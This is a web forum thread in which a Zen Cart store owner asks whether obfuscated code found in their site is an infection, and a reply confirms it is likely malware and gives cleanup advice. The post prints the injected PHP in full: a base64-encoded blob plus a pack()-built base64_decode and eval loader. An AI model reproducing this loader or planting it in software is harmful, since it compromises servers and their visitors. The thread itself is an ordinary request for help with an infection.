Jump to content

Site infected or is this real code?


CherieV

Recommended Posts

I have a lot of garbly gook in my zen cart.  I am NOT a php programmer, but I do well enough with my ZenCart to manage.

 

I have a code that starts like this:

 

<?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQYMy4wMgwhdGhhaDFOaWV0aGFpMnphaDZBaHIPQLaHR0cDovLwVzoUuSFRUUFMb2ZmUFJaHR0cHM6Ly8KfYPSFRUUF9IT1NUcgnZdW5pb24PVvmc2VsZWN0DBQVUUkVRVUVTVF9VUkkSWfTgU0NSSVBUX05BTUUBipUVVFUllfU1RSSU5HXSPwuXIoZGV0ZXJtaW5hdG9yUBnqLgxLmxvZwBseESFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQfCvydmVyc2lvADLQcKLXBocAHSFRUUF9FWEVDUEhQkNYxCZb3V0HCjPEUb2sbtSFRUUF9VU0VSX0FHRU5UGLAyNmZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxdYQvHYWxqZXIuYml6VEpZmFzdGFkZHouY29tHL3czLnBocD91PQTaPJms9UqtLJnQ9cGhwJnA9rHagTHJnY9YUZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYvbHZvOGdTL2xjNnlCcGh3V0NEd2NmazhaUm8xdk1tMG13U2VaeVZWck1Sd3RBRWJDNXorSXJ5djc4cXVqRTRzVWY3azNFZlZWOWRYMVVISGhHdlhPb0ZNWFZGd2FVRnphSWd0b3NrRTdyZFZ4TEF0bGZHVGhFa3NVVjNRVjdrWXJGY2h1VStjY1MrcE1wcXY0dm5ib0k0c0hKYU5KdER5WkMxZmxjbWF2ZjZ6TFpxU0ZwZlZpZHdvQThIM2tpdGhWZ2JtbnVKbldhYmFMY1dPKzR5OHZlQlRENTFYdnpBWCs2SlNlNmZmdnpva2xmU3JFU0JreVZGRUZHeHlFb0s4akphbEZsTVBKcDR0WWgzV2haSlZzWVVydEM5TDNiQ0xOdUZvS1dUNWdmSDNvQkZuWTJ6aW5ZSkNCZWNNZ3VGYTlJcEV4cllTMWpoZTRwZ2dWMEZiS0diS2h0ZndFYkJEc05rYThFbHkwdFNHZ3RkWW9JVVZVRE1ITmlORjRRVVQxdE9FaGMwQnJjS2ZsR2tYM285Z1NpRTQ4RXZCa2dod3FldDZiMDRRbVVHRFhONkxqUWNJa2FrRTc3RStXSU5hRy80cWdoWFFWeTJ0dW1KRFJDWEpFVXJPcXUwOE9tcGdYUkhIZGk2NFJkRkxsWW1YNTltUHg0ZTV4Yjh5T1JmWUhkS2hINVp6dmZwN1IvVG1VdzhHMno3N2NuWmRQNDB1NS9QYnU5L2ZzTWJQT1NYTDN4OXVMK2ZmcDNQNy82Y1Bqek5aVEpFUitUMmZ1OGNLdmN3cyt0N0tBb2piamxoa3RQV0tqcWNSbW14Ri9sbGNITWpSaEN1Mytybzh0VTZVcGlxTEFkUm5aY256Z3J6b3NtNmNSOHlMMThWV2ViaXgzYnBSYUZNREs2enpsOFVreWVyblIwemRlUzBJZ0MybDVhWUJIWEpDUCtienNrcmo4S2JvR0FZOGhYNVBwOC85bFNsRHd2L1pQL0U4UE05eVlzdkJENWVPYVMzYWdQZHRBcWRZTDBBRlkvZkg2MkhuNHJRRXhUOC9HczYrM24zY0g5RzZWTk9zOCszTDVEVFgwQTV1MS9KcTJWdWZjaDk4ZXBDblhPanV1VFRKeUsrcTJ2eXVkbitEOUc2alVNVWRDeVVVd3VJcW8ycldybnhlQ0NQTk5ESmtpZytSR0FVM2FWaDRsSlJPT0tUYTVGd3JveVJzdmpwWC8zbmhsZUM2TXc5ZHE3UytYWkNOYXZWZHI5ZEo1U1dDd2o2MHR2dTNTMmNMOUpWVXV6QUNPcjRDUkgrdGdTRmJ5ckNGL2htK3p4SXArVGxyZzVoNm1ZUlNoWTc2YUdNRm42M0laZU85WE02Z3dqOTRsdlBlTHV6UFNTaHR6TWJDbFlsZlNSckEvU0liK2QybVRWN2c2R2tEK1dxVU1yQTMwYTAyUm9ieU93ajNHTEowbXdOZ2ZSMWJBa3NjWU84OGw4TnBzMzlLcEQvcVB0Y3Q1aWJqNGVNdmpRMjhBeTVNa21qUVpPZ1dIUkdjTyswcTRPSnBFSlBVWGtJK0FIRnpJdXNTSUNTYVhaT0VZQ2VqR1ZWNjJKOHZTU2p0dU5EMFZsWVBIWk9lRWpNL3pieFFzUWdNMDBnMjlpaTNEaHVJS25nMVJGMnhVckdMeTdnK2NUeDZtZ2tnNXNhSnI4a2I2eURUU041L0h0NXFsVExld04wNHRWRnowTmNoMkNzZ2E1SFB2bDRRaDFKNDFGMW91TEdqM0dCNEEwbjFRR004dVVncXpBZUREUlpIVjdVTlFGZnFTclRwYlNDclBiQmFHTW9hMTFvSW1jZ2dMbmFRSzBrWDc4ck5Wb2VvbVdST0ZsaEp5SW15U3FMRjV1RDZRWlpiQU9OV05hM3V4OVR5K29xZjl6Tm9DYzh6UDRHOFkrM3MxdjRoSXgyOTg1MmdYUjNtMlgyWGlSQ3o2V2JYdTVIVU9CQ3I0alNudUpCdy81Y3hzR3VXYnI3T3ExWEdyakMvTTlINGZsMFpYcGNtdDcvMVQ1Ui93VlVKeXY4UXFVSHBSOW5qQklJeUhZdFdMYkFOZ0hHS0c2cUlyQ2p4Ny9iOURPZk1YcnNVbjVoMTRIRXA3QjNVZ2JjSVZnSTBkS040aFhQL3l2ZUNma2l1cHA5S3VaWno3SUpLYmUyV1ZEWUMrRC85azBHQnVjT3RuaE5GcUIvVlROcDNWWFpzZXNxeDZ1S0Nac21pZzBCaU9lVnNGbTJOV2lxbUV4Vkh0YWpabDF6bmZWdXZVeFhaazBVNTFLdFZUQUFkQm43aTJWazNrU3VVU3RXZUdQa0ZLcHd2a1I2Zk5rbWgySmp2a3RLcFpYblVFdGpGZkpjNFpLdlA4TFhnZFRVRVlQUEphTHM0TEFvL1IyNmpLMjFwQTRsYlRTb3VQc0N0VTdHTUh1enVqTk5yaG10SytCem1UYThvdlUxMEEydXcwYkttaFR2UmFjdHJWRTlIZ0g3VFlDdDVMcWxOTGpHbXFRTjljcFkxb21hTGFobVVEUUJ6UFhJazlETjRoQ2FITkxaL2dCR1RDYWNYdUFCUWpkMldOLzdsM0MxL2hDSWVBRHRSRzUxbUlrMGdPWTA2TEpVMlFXRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at";        if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php

 

 

My gut says this is way wrong?  thoughts?

Link to comment
Share on other sites

They've decoded a similar script at Web Hosting Talk, and it was clearly malware. So, yes, that's most probably an infection.

 

Do not try to manually “clean” the server by removing those code snippets. You never know what is still lurking somewhere else.

 

Instead, take the site offline, change all admin credentials (passwords, SSH keys etc.) and look for obvious backdoors like new user accounts. If you can find out how the attack happened, that's of course helpful, but don't spend too much time on it. After this, you basically have to backup your current data, nuke the server, reinstall it with a secure(!) configuration and then carefully restore the website. Check for security updates of Zen Card.

 

Of course this is easier said than done. Do you have a friend who can help you? Anybody who knows how to manage a webserver? 

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.